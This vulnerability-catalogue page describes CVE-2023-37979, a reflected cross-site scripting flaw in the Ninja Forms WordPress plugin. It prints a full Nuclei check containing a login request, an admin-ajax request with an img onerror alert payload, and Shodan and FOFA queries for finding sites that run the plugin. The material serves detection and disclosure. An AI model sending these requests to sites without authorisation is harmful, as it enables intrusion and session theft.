Browse / CVEs / CVE-2023-37979
CVE-2023-37979· ninjaforms / ninja forms· CWE-79
Ninja Forms < 3.6.26 - Cross-Site Scripting
mediumseverity
6.1CVSS score
9.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Impact
Authenticated attackers can inject malicious JavaScript through unsanitized parameters in AJAX actions to steal session cookies from high-privilege users including WordPress administrators.
Fix
Fixed in version 3.6.26
How to confirm it
Send: POST /wp-login.php ; POST /wp-admin/admin-ajax.php
Positive when: contains(content_type_2, "text/html") and contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2023-37979 -u <target>
The full check
id: CVE-2023-37979
info:
name: Ninja Forms < 3.6.26 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
impact: |
Authenticated attackers can inject malicious JavaScript through unsanitized parameters in AJAX actions to steal session cookies from high-privilege users including WordPress administrators.
remediation: Fixed in version 3.6.26
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-37979
- https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
- https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
- http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
- https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-37979
cwe-id: CWE-79
epss-score: 0.09707
epss-percentile: 0.95552
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: ninjaforms
product: ninja_forms
framework: wordpress
shodan-query: http.html:/wp-content/plugins/ninja-forms/
fofa-query: body=/wp-content/plugins/ninja-forms/
publicwww-query: /wp-content/plugins/ninja-forms/
tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E
matchers:
- type: dsl
dsl:
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template")'
- 'status_code_2 == 200'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2023-37979
- https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
- https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
- http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
- https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
Use this check only on systems you are authorised to test. Where the data comes from